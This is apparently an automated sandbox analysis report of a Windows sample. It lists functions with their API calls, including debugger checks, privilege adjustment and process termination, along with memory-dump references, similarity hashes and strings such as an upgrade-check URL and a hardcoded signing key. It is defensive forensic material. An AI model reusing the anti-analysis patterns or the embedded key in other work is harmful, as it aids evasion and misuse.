Instruction Fuzzy Hash: 4F110C71A1021CAFEB50EFA4DCC8AAAB7BCBB08754F0440A9E505D6150DB78EF48CF60

Function 004443FA Relevance: 9.0, APIs: 6, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000C,00444333,00000000,?,004444AB,?,?,00406BB4), ref: 004443FC
GetProcessHeap.KERNEL32(00000000,00000008,00000000,00000000,0000000C,00444333,00000000,?,004444AB,?,?,00406BB4), ref: 00444421
HeapAlloc.KERNEL32(00000000,?,004444AB,?,?,00406BB4), ref: 00444428
InitializeSListHead.KERNEL32(00000000,?,004444AB,?,?,00406BB4), ref: 00444435
GetProcessHeap.KERNEL32(00000000,00000000,?,004444AB,?,?,00406BB4), ref: 0044444A
HeapFree.KERNEL32(00000000,?,004444AB,?,?,00406BB4), ref: 00444451

Memory Dump Source

Source File: 00000005.00000002.2574005130.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2573981471.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574308032.0000000000638000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574796030.00000000006D8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574816427.00000000006D9000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006DE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006E1000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574874826.00000000006E4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574893304.00000000006E7000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574906803.00000000006E9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_3Kel6xErOk.jbxd

Similarity

API ID: Heap$Process$AllocFeatureFreeHeadInitializeListPresentProcessor
String ID:
API String ID: 1475849761-0
Opcode ID: a9c287c30fa271a93dff2e3714272d139803b336729465daa39a5dd1592c2b28
Instruction ID: d266a083c9bc88ba4ba2a0da7612ef281e630837cddf9fac2f0e06e9ad779368
Opcode Fuzzy Hash: a9c287c30fa271a93dff2e3714272d139803b336729465daa39a5dd1592c2b28
Instruction Fuzzy Hash: F5F062756417119FEB50AFB8AC08B5777AAABD8716F00542AF952D3350DF78C9018AD0

Function 0043A2EF Relevance: 7.6, APIs: 5, Instructions: 98comCOMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 0043A2F6
CoInitialize.OLE32(00000000), ref: 0043A308
CoCreateInstance.OLE32(00638800,00000000,00000001,00638790,?), ref: 0043A328
CoUninitialize.OLE32(?,00000000), ref: 0043A3EF

Part of subcall function 00433D4E: Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 00433D83
Part of subcall function 00433D4E: Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 00433DAE

Part of subcall function 00433CFC: __EH_prolog3.LIBCMT ref: 00433D03

std::_Container_base12::~_Container_base12.LIBCPMTD ref: 0043A370

Part of subcall function 004140C0: Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 004140E9

Memory Dump Source

Source File: 00000005.00000002.2574005130.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2573981471.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574308032.0000000000638000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574796030.00000000006D8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574816427.00000000006D9000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006DE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006E1000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574874826.00000000006E4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574893304.00000000006E7000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574906803.00000000006E9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_3Kel6xErOk.jbxd

Similarity

API ID: Base::Concurrency::details::ContextIdentityQueueWork$Container_base12Container_base12::~_CreateH_prolog3H_prolog3_InitializeInstanceUninitializestd::_
String ID:
API String ID: 1245773645-0
Opcode ID: 7fdd56e16038055caf6ac0880576e650527b5eba976da50822a7c7ad48b023c3
Instruction ID: 9126d32887de465aef5c644f1edf19cd1c8b73884dfc9609444c19a87a8178af
Opcode Fuzzy Hash: 7fdd56e16038055caf6ac0880576e650527b5eba976da50822a7c7ad48b023c3
Instruction Fuzzy Hash: AA316A71A00208AFDB04EFA5C884FDE7BB9AF48705F140059F506AB2A1DA74AE06CB65

Function 1000AD41 Relevance: 7.6, APIs: 5, Instructions: 58COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 1000CE15
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 1000CE2A
UnhandledExceptionFilter.KERNEL32(10018614), ref: 1000CE35
GetCurrentProcess.KERNEL32(C0000409), ref: 1000CE51
TerminateProcess.KERNEL32(00000000), ref: 1000CE58

Memory Dump Source

Source File: 00000005.00000002.2576090454.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10001000_3Kel6xErOk.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: a883567adb10ffdb079e78de1a47da8583862bbadaa125666869bc87a981ee0c
Instruction ID: db866b1daaedd4f763d18a4d884832a689f87af637e38a2f1d611465a9a4395e
Opcode Fuzzy Hash: a883567adb10ffdb079e78de1a47da8583862bbadaa125666869bc87a981ee0c
Instruction Fuzzy Hash: C921BEBC8043A8EBF741DF24C8C46847BAAFB28755F60412AF40887AA1E7709787CF15

Function 032AAD45 Relevance: 7.6, APIs: 5, Instructions: 58COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 032ACE19
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 032ACE2E
UnhandledExceptionFilter.KERNEL32(10018614), ref: 032ACE39
GetCurrentProcess.KERNEL32(C0000409), ref: 032ACE55
TerminateProcess.KERNEL32(00000000), ref: 032ACE5C

Memory Dump Source

Source File: 00000005.00000002.2575734615.00000000032A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 032A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_32a0000_3Kel6xErOk.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: a883567adb10ffdb079e78de1a47da8583862bbadaa125666869bc87a981ee0c
Instruction ID: 642f8098d7fef348b0d30597a1208242b6a3bc17ec7f9b04dbf1311d29befddb
Opcode Fuzzy Hash: a883567adb10ffdb079e78de1a47da8583862bbadaa125666869bc87a981ee0c
Instruction Fuzzy Hash: 0421CFBC814368EFF700DF28C8C46947BAABB28754F60416AF50887AA0E7B05687CF55

Function 004440FD Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 00401EE0: GetLastError.KERNEL32 ref: 00401F04
Part of subcall function 00401EE0: _HRESULT_FROM_WIN32.LIBCMTD ref: 00401F0B

IsDebuggerPresent.KERNEL32(?,?,?,00401AE8), ref: 00444130
OutputDebugStringW.KERNEL32(ERROR : Unable to initialize critical section in CAtlBaseModule,?,?,?,00401AE8), ref: 0044413F

Strings

ERROR : Unable to initialize critical section in CAtlBaseModule, xrefs: 0044413A

Memory Dump Source

Source File: 00000005.00000002.2574005130.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2573981471.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574308032.0000000000638000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574796030.00000000006D8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574816427.00000000006D9000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006DE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006E1000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574874826.00000000006E4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574893304.00000000006E7000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574906803.00000000006E9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_3Kel6xErOk.jbxd

Similarity

API ID: DebugDebuggerErrorLastOutputPresentString
String ID: ERROR : Unable to initialize critical section in CAtlBaseModule
API String ID: 389471666-631824599
Opcode ID: cdbc9cf189e55b0b63f5c1e59a278c7c9189d350d8c69d039e4fa5414964840e
Instruction ID: f8e4879664f48a0ead3597aebaea3be0f5165f0d80ac46ebaba12b928442a79b
Opcode Fuzzy Hash: cdbc9cf189e55b0b63f5c1e59a278c7c9189d350d8c69d039e4fa5414964840e
Instruction Fuzzy Hash: 95E092702007408FD7609FB9E80D3437AE6AF50744F00892EF496C7341EBB8D5449BD5

Function 0044A110 Relevance: 4.6, APIs: 3, Instructions: 78COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,00000000), ref: 0044A208
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,00000000), ref: 0044A212
UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,00000000), ref: 0044A21F

Memory Dump Source

Source File: 00000005.00000002.2574005130.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2573981471.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574308032.0000000000638000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574796030.00000000006D8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574816427.00000000006D9000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006DE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006E1000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574874826.00000000006E4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574893304.00000000006E7000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574906803.00000000006E9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_3Kel6xErOk.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: e61c754d250b140e547bb1e9c6aa42694b0ac7129438f2ab8b9235e2ae23a2a3
Instruction ID: bd579f5ed932fd6481de04c80676222cb3a4530a185517eee11c8b8b429b5a5f
Opcode Fuzzy Hash: e61c754d250b140e547bb1e9c6aa42694b0ac7129438f2ab8b9235e2ae23a2a3
Instruction Fuzzy Hash: 2A31D4749012289BDB21DF65DC887DDBBB8BF08310F5042DAE81CA7251EB749F958F89

Function 00455ADF Relevance: 4.5, APIs: 3, Instructions: 20COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000003,?,00455AB5,00000003,006D4A80,0000000C,00455C0C,00000003,00000002,00000000,?,0045543B,00000003), ref: 00455B00
TerminateProcess.KERNEL32(00000000,?,00455AB5,00000003,006D4A80,0000000C,00455C0C,00000003,00000002,00000000,?,0045543B,00000003), ref: 00455B07
ExitProcess.KERNEL32 ref: 00455B19

Memory Dump Source

Source File: 00000005.00000002.2574005130.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2573981471.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574308032.0000000000638000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574796030.00000000006D8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574816427.00000000006D9000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006DE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006E1000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574874826.00000000006E4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574893304.00000000006E7000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574906803.00000000006E9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_3Kel6xErOk.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: f2778a0075c892c5605b2793ca10c74fb67b22e0676f306c187e3c65acd3724a
Instruction ID: 8403c1b1f436ab84ba92526c3f7ce83d4f7e16bddf6716dd5008ba1c02787342
Opcode Fuzzy Hash: f2778a0075c892c5605b2793ca10c74fb67b22e0676f306c187e3c65acd3724a
Instruction Fuzzy Hash: 61E09231400A48AFCB11AF55D959AAA3B6AAF44B46F044029FC058B272DB39A94ADAC4

Function 0043352D Relevance: 1.6, APIs: 1, Instructions: 59COMMON

Download Yara Rule

APIs

GetVersionExW.KERNEL32(?), ref: 00433555

Memory Dump Source

Source File: 00000005.00000002.2574005130.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2573981471.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574308032.0000000000638000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574796030.00000000006D8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574816427.00000000006D9000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006DE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006E1000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574874826.00000000006E4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574893304.00000000006E7000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574906803.00000000006E9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_3Kel6xErOk.jbxd

Similarity

API ID: Version
String ID:
API String ID: 1889659487-0
Opcode ID: 0dabb59b61bdda8ef2f47a0d5d5cb3ce1ef9101c18038cd1d5c56e680716efb4
Instruction ID: ad2737ad3db630976578b664a8c62e3a0266ab33c6600cf58e144d9844f82899
Opcode Fuzzy Hash: 0dabb59b61bdda8ef2f47a0d5d5cb3ce1ef9101c18038cd1d5c56e680716efb4
Instruction Fuzzy Hash: A9116070E4422CABDF349E609C067EAB3E4971DB1AF50619BD905E6280D6784FC58FCA

Function 100018A0 Relevance: 1.5, APIs: 1, Instructions: 27COMMON

Download Yara Rule

APIs

AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000010,00000000,00000000), ref: 100018D8

Memory Dump Source

Source File: 00000005.00000002.2576090454.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10001000_3Kel6xErOk.jbxd

Similarity

API ID: AdjustPrivilegesToken
String ID:
API String ID: 2874748243-0
Opcode ID: 49a4f8c54fe8e2f2a6b124dc8d7b4ece089099274bdccf730c0a628917e12220
Instruction ID: 53143a0ca8482a000d6b4ded4d2d76efb65c21e66b1d3043b1fae087c7fd42a3
Opcode Fuzzy Hash: 49a4f8c54fe8e2f2a6b124dc8d7b4ece089099274bdccf730c0a628917e12220
Instruction Fuzzy Hash: 12F0A2B4900209AFE700DF54C885ABE7BF9FB48304F508559F9059B251D770AA448B95

Function 032A18A4 Relevance: 1.5, APIs: 1, Instructions: 27COMMON

Download Yara Rule

APIs

AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000010,00000000,00000000), ref: 032A18DC

Memory Dump Source

Source File: 00000005.00000002.2575734615.00000000032A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 032A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_32a0000_3Kel6xErOk.jbxd

Similarity

API ID: AdjustPrivilegesToken
String ID:
API String ID: 2874748243-0
Opcode ID: 49a4f8c54fe8e2f2a6b124dc8d7b4ece089099274bdccf730c0a628917e12220
Instruction ID: c27e66299593a75c4b161b7a4fede03d5c1d5bb18b38da1a4d024e678268bde7
Opcode Fuzzy Hash: 49a4f8c54fe8e2f2a6b124dc8d7b4ece089099274bdccf730c0a628917e12220
Instruction Fuzzy Hash: 1EF0A2B4900309AFE704DF58C885ABE7BF9FB48304F508559E9059B255D7B09A448B95

Function 0043A8DA Relevance: .7, Instructions: 691COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2574005130.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2573981471.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574308032.0000000000638000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574796030.00000000006D8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574816427.00000000006D9000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006DE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006E1000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574874826.00000000006E4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574893304.00000000006E7000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574906803.00000000006E9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_3Kel6xErOk.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5acaae6ce1912465e045bee25b75ddd03c323c6b1c598bb6a43b2a727efcddc8
Instruction ID: 5aa430e82ab2f9dafbb62a330c001e62a3c857ae023f506bf0557e1eb3cc376d
Opcode Fuzzy Hash: 5acaae6ce1912465e045bee25b75ddd03c323c6b1c598bb6a43b2a727efcddc8
Instruction Fuzzy Hash: E82272B7F515144BDB0CCA9DCCA23ECB2E3AFD4218B0E813DA44AE3745EA7DD9158684

Function 10006CE1 Relevance: .3, Instructions: 339COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2576090454.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10001000_3Kel6xErOk.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: baf92ad4b0be72b0ed09fe48251c72f10c975de6cad161269829640e85e1453f
Instruction ID: 8878bc799d59d7e9578ae9d63681dd266ae9f1cb07bf584380dc3f1bcb52fe03
Opcode Fuzzy Hash: baf92ad4b0be72b0ed09fe48251c72f10c975de6cad161269829640e85e1453f
Instruction Fuzzy Hash: 95F1D475E002298FEB64CF28C89079DB7B2FB49354F2581EAC94DA7245D7306E85CF91

Function 032A6CE5 Relevance: .3, Instructions: 339COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2575734615.00000000032A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 032A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_32a0000_3Kel6xErOk.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: baf92ad4b0be72b0ed09fe48251c72f10c975de6cad161269829640e85e1453f
Instruction ID: 23f927e38634931eccfebc46bf589608f227fb736225042b666fff1b0b68c486
Opcode Fuzzy Hash: baf92ad4b0be72b0ed09fe48251c72f10c975de6cad161269829640e85e1453f
Instruction Fuzzy Hash: 76F1E575E106298FDF24CF68C890B9DB7B2BB89314F1981EAC94DA7241D7306E85CF91

Function 032A0B11 Relevance: .1, Instructions: 87COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2575734615.00000000032A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 032A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_32a0000_3Kel6xErOk.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9bb5c1b61b7b98cbc056ea8f67b9a8ca7ef086e949689a6f228cbbfb2ff37ba7
Instruction ID: dac48cbc4b7ccb9d4558ab78e8fd1638800f183192c4cb64c45312afecf93cee
Opcode Fuzzy Hash: 9bb5c1b61b7b98cbc056ea8f67b9a8ca7ef086e949689a6f228cbbfb2ff37ba7
Instruction Fuzzy Hash: 94319A36A18B4B8FC310DF18C58092AF3E4FF89318B09496DE89597312D374F9998B91

Function 1000C140 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2576090454.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10001000_3Kel6xErOk.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction ID: 7c9983c2d51c321497ce142cda71ccfcb264f17f5177ddff9d9bdbede1d68c43
Opcode Fuzzy Hash: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction Fuzzy Hash: AE119EB724438A43F280CB3DD8B4DEBA3DAEBC71E07294375D0438B65ED13295059500

Function 032AC144 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2575734615.00000000032A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 032A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_32a0000_3Kel6xErOk.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction ID: 86075775b2887811f85a653427240724a71d0b3b570e2e968e4205b15b48451f
Opcode Fuzzy Hash: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction Fuzzy Hash: E21127B736097353E619CA3DDCB42B7E79AEBC5B21B2C437AD042CB758D622A1C59600

Function 1000767C Relevance: .1, Instructions: 74COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2576090454.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10001000_3Kel6xErOk.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8309f7664a9dcc2b9c0cf34492782753835e12f7578b447de968111577be4c28
Instruction ID: af8dc597f677515c84aaa7c1ca680f8a378724b7035fa932a96d9af2bafa269f
Opcode Fuzzy Hash: 8309f7664a9dcc2b9c0cf34492782753835e12f7578b447de968111577be4c28
Instruction Fuzzy Hash: 8A21D821A74AF607D7448BFCECC051327D1DB8915636DC367DA64C9051D0BED672C550

Function 032A7680 Relevance: .1, Instructions: 74COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2575734615.00000000032A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 032A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_32a0000_3Kel6xErOk.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8309f7664a9dcc2b9c0cf34492782753835e12f7578b447de968111577be4c28
Instruction ID: e2aa8cdf6f3a90eb4b10dfd4cf1dac233764d9a35f8c87b2086f2bd811f5d5ac
Opcode Fuzzy Hash: 8309f7664a9dcc2b9c0cf34492782753835e12f7578b447de968111577be4c28
Instruction Fuzzy Hash: E021A522AB0AF607DB458BFDECC051367D18BCA21676DC3A7DA64C9151D0BDD272C660

Function 00439B88 Relevance: 63.3, APIs: 14, Strings: 22, Instructions: 282COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00439B92

Part of subcall function 00433AE5: __EH_prolog3_GS.LIBCMT ref: 00433AEF
Part of subcall function 00433AE5: Netbios.NETAPI32(?), ref: 00433B44

Part of subcall function 0043402A: __EH_prolog3.LIBCMT ref: 00434031

Part of subcall function 0043840E: __EH_prolog3_catch.LIBCMT ref: 00438415

Part of subcall function 004385C8: __EH_prolog3_catch.LIBCMT ref: 004385CF

std::_Container_base12::~_Container_base12.LIBCPMTD ref: 00439C5C

Part of subcall function 004140C0: Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 004140E9

std::_Container_base12::~_Container_base12.LIBCPMTD ref: 00439CC4
std::_Container_base12::~_Container_base12.LIBCPMTD ref: 00439D8A
std::_Container_base12::~_Container_base12.LIBCPMTD ref: 00439DEE
std::ios_base::clear.LIBCPMTD ref: 00439E6B
std::ios_base::clear.LIBCPMTD ref: 00439E8F
std::ios_base::clear.LIBCPMTD ref: 00439EB3
std::ios_base::clear.LIBCPMTD ref: 00439ED7
std::ios_base::clear.LIBCPMTD ref: 00439EDE
std::ios_base::clear.LIBCPMTD ref: 00439F02
std::ios_base::clear.LIBCPMTD ref: 00439F09
std::ios_base::clear.LIBCPMTD ref: 00439F3D
std::ios_base::clear.LIBCPMTD ref: 00439F44

Part of subcall function 004335DE: std::ios_base::_Ios_base_dtor.LIBCPMT ref: 00433616

Strings

data, xrefs: 00439E84
&sign=, xrefs: 00439D77
data, xrefs: 00439EA8
data, xrefs: 00439F32
need_upgrade, xrefs: 00439EC7
&sign_key=fb99b749dc3cd844fb5ac6cb958d9f0d, xrefs: 00439C19
current_version=, xrefs: 00439BFC
&uuid=, xrefs: 00439C31
data, xrefs: 00439E60
current_version=, xrefs: 00439D0C
md5, xrefs: 00439F2D
data, xrefs: 00439ECC
need_upgrade, xrefs: 00439E5B
&source=1007, xrefs: 00439D2D
data, xrefs: 00439EF7
data, xrefs: 00439E43
&uuid=, xrefs: 00439D39
download_url, xrefs: 00439EF2
&source=1007, xrefs: 00439C25
md5, xrefs: 00439EA3
http://apisgame.iqiyi.com/pcwcenter/basic/upgrade/info?, xrefs: 00439BB3
download_url, xrefs: 00439E7F

Memory Dump Source

Source File: 00000005.00000002.2574005130.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2573981471.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574308032.0000000000638000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574796030.00000000006D8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574816427.00000000006D9000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006DE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574832792.00000000006E1000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574874826.00000000006E4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574893304.00000000006E7000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2574906803.00000000006E9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_3Kel6xErOk.jbxd

Similarity

API ID: std::ios_base::clear$Container_base12Container_base12::~_std::_$H_prolog3_H_prolog3_catch$Base::Concurrency::details::ContextH_prolog3IdentityIos_base_dtorNetbiosQueueWorkstd::ios_base::_
String ID: &sign=$&sign_key=fb99b749dc3cd844fb5ac6cb958d9f0d$&source=1007$&source=1007$&uuid=$&uuid=$current_version=$current_version=$data$data$data$data$data$data$data$download_url$download_url$http://apisgame.iqiyi.com/pcwcenter/basic/upgrade/info?$md5$md5$need_upgrade$need_upgrade
API String ID: 3779531669-4085081228
Opcode ID: c8f9e7a5622718e040a9b6cce9bacf499ee7b2f0133a431f83b17d8a932e4ce0
Instruction ID: 112d78e83848cf3ec88b4efe18a8d1549fa0ed9b9910d3c981c7f5569aec2d8e
Opcode Fuzzy Hash: c8f9e7a5622718e040a9b6cce9bacf499ee7b2f0133a431f83b17d8a932e4ce0
Instruction Fuzzy Hash: 8DB173309002199ACF18FB61CC66BEEB776EF58308F40509EE50567292EF786F45CB95

Function 10001144 Relevance: 58.1, APIs: 21, Strings: 12, Instructions: 338registryCOMMON

Download Yara Rule

APIs

_wprintf.LIBCMT ref: 10001192
